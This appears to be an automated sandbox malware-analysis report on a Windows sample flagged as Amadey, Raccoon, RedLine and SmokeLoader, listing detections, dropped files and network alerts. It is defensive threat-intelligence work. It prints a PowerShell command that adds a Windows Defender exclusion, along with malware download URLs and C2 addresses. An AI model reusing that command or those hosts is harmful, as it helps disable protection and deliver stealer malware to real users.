Play interactive tour

Edit tour

Windows Analysis Report cnv622JnZv.exe

Overview

General Information

Sample Name:	cnv622JnZv.exe
Analysis ID:	511932
MD5:	5ae3b69c31fe729ac672ba483280f16d
SHA1:	310d993f9fbe7fb9cf3892220d980e08eb5e6286
SHA256:	033247a6ba1cd0543f27857fb6743e16fdd2990cea1df3dce93e4031c8046d1a
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Early bird code injection technique detected

Detected unpacking (overwrites its own PE header)

Yara detected AntiVM3

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected UAC Bypass using CMSTP

DLL reload attack detected

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Sample uses process hollowing technique

Writes to foreign memory regions

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

cnv622JnZv.exe (PID: 1940 cmdline: 'C:\Users\user\Desktop\cnv622JnZv.exe' MD5: 5AE3B69C31FE729AC672BA483280F16D)

cnv622JnZv.exe (PID: 6000 cmdline: 'C:\Users\user\Desktop\cnv622JnZv.exe' MD5: 5AE3B69C31FE729AC672BA483280F16D)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

C5EA.exe (PID: 4752 cmdline: C:\Users\user\AppData\Local\Temp\C5EA.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

C5EA.exe (PID: 1308 cmdline: C:\Users\user\AppData\Local\Temp\C5EA.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

66A4.exe (PID: 3536 cmdline: C:\Users\user\AppData\Local\Temp\66A4.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 4380 cmdline: 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5676 cmdline: 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /SpecialRun 4101d8 4380 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 4860 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ComSvcConfig.exe (PID: 572 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe MD5: 2778AE0EB674B74FF8028BF4E51F1DF5)

77DC.exe (PID: 4976 cmdline: C:\Users\user\AppData\Local\Temp\77DC.exe MD5: 42758E2569239A774BECDB12698B124C)

8615.exe (PID: 3888 cmdline: C:\Users\user\AppData\Local\Temp\8615.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

977B.exe (PID: 2892 cmdline: C:\Users\user\AppData\Local\Temp\977B.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

977B.exe (PID: 6064 cmdline: 977B.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

A557.exe (PID: 5684 cmdline: C:\Users\user\AppData\Local\Temp\A557.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 5528 cmdline: 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

B084.exe (PID: 6024 cmdline: C:\Users\user\AppData\Local\Temp\B084.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)

152F.exe (PID: 1280 cmdline: C:\Users\user\AppData\Local\Temp\152F.exe MD5: 0EFD1C9D005446AEF5FEE4EB512F5887)

2E26.exe (PID: 1560 cmdline: C:\Users\user\AppData\Local\Temp\2E26.exe MD5: 2880915476E56A16314B067128663950)

977B.exe (PID: 3492 cmdline: 'C:\Users\user\AppData\Local\Temp\977B.exe' MD5: AB823DF932B3C2941A9015848EBDB97B)

jejhieg (PID: 3940 cmdline: C:\Users\user\AppData\Roaming\jejhieg MD5: 5AE3B69C31FE729AC672BA483280F16D)

jejhieg (PID: 3152 cmdline: C:\Users\user\AppData\Roaming\jejhieg MD5: 5AE3B69C31FE729AC672BA483280F16D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\A557.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\66A4.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\77DC.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000028.00000000.477374112.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.478964555.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000021.00000002.465682057.00000000047F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000002.518079752.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.440048320.0000000002FD0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000002.440144777.0000000002FF1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000028.00000000.476131601.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.320318511.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000012.00000002.379053476.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000002.478734177.0000000000941000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000006.00000000.302632865.0000000004F61000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.379166058.0000000001F61000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.464888081.0000000002B70000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000003.476969852.00000000013F0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000018.00000003.423422124.0000000002FC0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.320173015.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 66A4.exe PID: 3536	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 66A4.exe PID: 3536	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: 152F.exe PID: 1280	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: 152F.exe PID: 1280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.0.jejhieg.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.0.C5EA.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.2.cnv622JnZv.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.C5EA.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.2.C5EA.exe.2ba15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.0.A557.exe.2d0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
19.0.jejhieg.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.1.jejhieg.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.3.152F.exe.48f0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
23.0.77DC.exe.a50000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
18.1.C5EA.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.0.C5EA.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.cnv622JnZv.exe.2dc15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.0.A557.exe.2d0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
19.2.jejhieg.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.0.66A4.exe.d70000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
3.1.cnv622JnZv.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.0.66A4.exe.d70000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.2.8615.exe.2fb0e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.0.C5EA.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.3.152F.exe.48f0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.3.8615.exe.2fc0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.0.jejhieg.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.0.66A4.exe.d70000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
16.2.jejhieg.2cc15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.8615.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.0.66A4.exe.d70000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
29.2.A557.exe.2d0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
23.0.77DC.exe.a50000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
29.0.A557.exe.2d0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
29.0.A557.exe.2d0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
35.2.152F.exe.400000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
23.0.77DC.exe.a50000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
35.2.152F.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
23.2.77DC.exe.a50000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
23.0.77DC.exe.a50000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
Click to see the 31 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentProcessId: 3536, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, ProcessId: 4860

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentProcessId: 3536, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, ProcessId: 4860

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\66A4.exe, ParentProcessId: 3536, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force, ProcessId: 4860

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.152F.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.152F.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.478734177.0000000000941000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.476969852.00000000013F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 152F.exe PID: 1280, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: https://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://telegalive.top/O	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware
Source: http://telegalive.top/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\977B.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925

Multi AV Scanner detection for domain / URL

Show sources

Source: http://sysaheu90.top/game.exe

Virustotal: Detection: 16%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\152F.exe	ReversingLabs: Detection: 46%
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\8615.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\A557.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\B084.exe	ReversingLabs: Detection: 56%

Machine Learning detection for sample

Show sources

Source: cnv622JnZv.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\152F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\bejhieg	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jejhieg	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Joe Sandbox ML: detected

Source: 34.0.977B.exe.400000.11.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 34.0.977B.exe.400000.15.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 18.0.C5EA.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 18.0.C5EA.exe.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 34.0.977B.exe.400000.9.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 19.0.jejhieg.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 19.0.jejhieg.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 34.0.977B.exe.400000.5.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 34.0.977B.exe.400000.7.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 19.0.jejhieg.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 19.0.jejhieg.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 34.0.977B.exe.400000.13.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 18.0.C5EA.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 18.0.C5EA.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 34.0.977B.exe.400000.17.unpack	Avira: Label: TR/AD.Amadey.ezxiu

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

Source: Yara match	File source: 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66A4.exe PID: 3536, type: MEMORYSTR

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\152F.exe	Unpacked PE file: 35.2.152F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\152F.exe	Unpacked PE file: 35.2.152F.exe.400000.0.unpack

Source: unknown

HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49826 version: TLS 1.0

Source: cnv622JnZv.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\8615.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49808 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: 8615.exe, 00000018.00000000.413528464.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000019.00000000.418963154.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.426329937.000000000040C000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 977B.exe
Source:	Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: C5EA.exe, 00000011.00000000.349456240.0000000000401000.00000020.00020000.sdmp, C5EA.exe, 00000012.00000000.364889434.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\zowazaxopomuh-39\t.pdb source: cnv622JnZv.exe, 00000000.00000000.243398633.0000000000401000.00000020.00020000.sdmp, cnv622JnZv.exe, 00000003.00000000.254610819.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000010.00000000.348546236.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000013.00000000.368105637.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 8615.exe, 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 8615.exe
Source:	Binary string: DC:\zowazaxopomuh-39\t.pdb source: cnv622JnZv.exe, 00000000.00000000.243398633.0000000000401000.00000020.00020000.sdmp, cnv622JnZv.exe, 00000003.00000000.254610819.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000010.00000000.348546236.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000013.00000000.368105637.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_0041B9B2 FindFirstFileExW,

34_2_0041B9B2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49843 -> 185.215.113.45:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.5:49847 -> 91.219.236.97:80

